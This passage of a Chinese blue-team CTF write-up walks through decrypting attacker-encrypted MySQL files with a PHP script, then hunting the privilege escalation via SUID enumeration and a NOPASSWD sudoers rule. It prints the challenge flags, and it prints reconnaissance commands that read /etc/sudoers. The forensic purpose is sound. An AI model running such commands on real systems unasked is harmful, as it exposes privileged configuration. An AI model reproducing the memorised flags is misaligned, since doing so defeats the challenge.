$decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $decryptedContent);
}
}
?>
简单分析一下;
首先肯定一点的就是,这个PHP脚本的作用是对指定目录下的所有文件进行解密。
-
固定当前日期并生成MD5哈希
$currentDate = "2023-11-18"; $key = md5($currentDate);
$currentDate
:指定固定的日期为 “2023-11-18”。$key
:使用md5
函数将该日期转换为一个128位的哈希值,这个值将作为解密的密钥。
-
生成初始化向量(IV)
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$iv
:使用 hash
函数将字符串 “DeepMountainsGD” 转换为一个256位的哈希值,然后取其前16字节作为初始化向量(IV)。IV用于确保加密和解密过程的一致性。
-
指定文件路径并读取目录内容
$filePath = "/var/lib/mysql/JPMorgan@0020Chase"; $files = scandir($filePath);
$filePath
:指定目标文件路径,这里是/var/lib/mysql/JPMorgan@0020Chase
。$files
:使用scandir
函数读取指定目录的内容,并返回一个包含目录中所有文件和子目录的数组。
-
遍历文件并进行解密
foreach ($files as $file) { if ($file != "." && $file != "..") { $fullPath = $filePath . '/' . $file; $content = file_get_contents($fullPath); $encryptedContent = openssl_decrypt($content, 'aes-256-cbc', $key, 0, $iv); file_put_contents($fullPath, $encryptedContent); } }
foreach ($files as $file)
:遍历目录中所有文件和子目录。if ($file != "." && $file != "..")
:跳过当前目录.
和父目录..
。$fullPath = $filePath . '/' . $file
:构建完整的文件路径。$content = file_get_contents($fullPath)
:读取文件内容。$encryptedContent = openssl_decrypt($content, 'aes-256-cbc', $key, 0, $iv)
:使用openssl_decrypt
函数对文件内容进行解密,采用aes-256-cbc
解密算法,使用生成的密钥和IV。file_put_contents($fullPath, $encryptedContent)
:将解密后的内容写回到原文件中。
总结来说就是;
- 使用固定的日期 “2023-11-18” 生成MD5哈希值作为解密密钥。
- 生成一个基于特定字符串的初始化向量(IV)。
- 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC解密算法进行解密。
- 将解密后的内容覆盖写回到原文件。
那这里我们直接把解密脚本写在/var/www/mysql/目录下即可;(写入的方法不唯一,可以直接在Liunx中“vim”一个文件,也可以直接在Finalsheell下右键新建一个php后缀结尾的文件)
这里直接是“vim”编辑了一个文件,接着脚本复制进去即可;(注意先按“i”才能复制)
vim 123.php
接着保存退出(先按一次Esc,接着按住shift+:英文的冒号,输入:wq保存退出即可)
接着运行;
php 123.php
运行完成,就先不要急着返回刷新数据库,最好先重启一下数据库;
使用命令;
sudo systemctl restart mysql
接着,再返回我们的“Navicat Premium 16”,选中刷新一下即可,看见表;
也可以在“Finalshell”目录下载直接右键新建也行;
接着就是把脚本复制进新建的文件中,Ctrl+s保存即可,然后还是跟上面一样执行脚本,重启一下数据库即可;
方法不唯一,仅供参考;
不过这里需要注意的是,脚本最好只运行一次!!!!!(如果运行脚本并且报错了,就不要再运行了,因为可能你的数据库已经被你覆盖掉了,这时候没办法,只能新启一个靶机了,所以最好一气呵成不要报错!!!!)
那最后题目问我们Harper用户对应Areer的值是什么并且进行MD5加密;
注意先进行MD5加密再提交,这里就不再演示,直接放结果;(随便找个在线的MD5加密即可)
至此;
flag{8fd82b8864d71ed7fa12b59e6e34cd1c}
步骤#1.10
因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。
解题思路
题目让我们找到黑客提权所使用的文件并且进行MD5加密,既然说了提权那我们就可以直接使用命令查找系统中以 root 用户身份拥有并设置了 SUID(Set User ID)权限的文件。
命令:
find / -user root -perm -4000 2>/dev/null
简单分析一下;
find /
: 从根目录开始查找文件。-user root
: 查找所有属于 root 用户的文件。-perm -4000
: 查找设置了 SUID 位的文件(即特殊权限位)。4000
是八进制表示法,用于指定 SUID 位。-perm -4000
意味着查找具有 SUID 权限的文件,无论其他权限如何。
2>/dev/null
: 将标准错误输出重定向到/dev/null
,即忽略错误信息(例如没有权限访问的目录)。
那有的师傅可能就要问了,为什么会使用这个命令;
简单来说是为了查找被黑客利用的具有 SUID 权限的文件。设置了 SUID 位的文件在执行时将以文件所有者(通常是 root 用户)的权限运行,而不是以执行者的权限运行。黑客可能会利用这些文件进行提权攻击,即通过这些文件获取 root 权限,从而对系统进行更高权限的操作。
得到;
简单分析一下;
发现/usr/bin/sudo
:Sudo 是一个常见的提权工具,肯定会被滥用。
/usr/bin/sudo
:
- 使用广泛:Sudo 被广泛用于权限提升,如果配置中有漏洞,黑客可以利用 sudo 提权。
- 历史漏洞:Sudo 曾经存在一些被利用的漏洞,比如 CVE-2019-14287,可以绕过限制。
那我们进一步的分析一下“/etc/sudoers”
为什么会分析“/etc/sudoers”呢?
- 权限配置:了解哪些用户或用户组被授予了 sudo 权限。如果配置不当,可能允许普通用户以 root 权限运行命令,从而导致安全问题。
- 命令限制:查看是否有特定用户被允许执行特定的命令,而不需要输入密码。如果这些命令存在漏洞,可能被黑客利用来提权。
- 安全策略:确认是否启用了安全策略,例如
requiretty
选项(要求 sudo 命令只能从终端运行),或NOPASSWD
选项(允许某些命令无需密码运行)。 - 日志记录:检查 sudoers 文件中是否有日志记录配置,方便追踪 sudo 命令的使用情况。
简而言之: /etc/sudoers
包含了系统上 sudo 的配置和权限设置。(之前不是分析出sudo可能有问题嘛)
所以;
cat /etc/sudoers
得到;
简单分析一下;
默认设置 (Defaults
):
env_reset
:重置环境变量,确保运行 sudo 命令时环境变量安全。mail_badpass
:在用户输入错误密码时发送邮件通知。secure_path
:为 sudo 命令设置安全路径,确保运行的命令来自可信路径。
用户权限 (User privilege specification
):
root ALL=(ALL:ALL) ALL
:root 用户可以在任何主机上以任何用户身份执行任何命令。www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service
:www-data
用户可以以 root 身份执行/bin/systemctl status apache2.service
命令,并且无需输入密码。
重点分析
www-data
用户的权限配置:- 配置允许
www-data
用户以 root 身份执行特定的 systemctl 命令,而不需要输入密码。虽然这看起来是一个受限的权限配置,但如果www-data
用户的环境中存在漏洞,黑客可以利用这些漏洞提权。 - 例如,如果 web 应用程序允许上传和执行任意文件,黑客可以上传恶意脚本,利用 systemctl 命令的执行权限来进一步渗透系统。
- 配置允许
NOPASSWD
选项:
- 任何无需密码验证的 sudo 配置都可能带来危害,因为它为潜在的攻击者提供了绕过身份验证的途径。
- 在这个案例中,虽然只允许执行
systemctl status apache2.service
,存在某种漏洞,肯定会导致执行其它命令或达到提权的效果。
题目让我们提交提权文件完整路径的MD5;
完整路径:/etc/sudoers
所以直接在Liunx中MD5加密即可;(这里不再多说)
md5sum /etc/sudoers
至此;
flag{6585817513b0ea96707ebb0d04d6aeff}
标签:文件,php,蓝队,用户,flag,blueteam,例题,root,md5
From: https://blog.csdn.net/administratorlws/article/details/140471298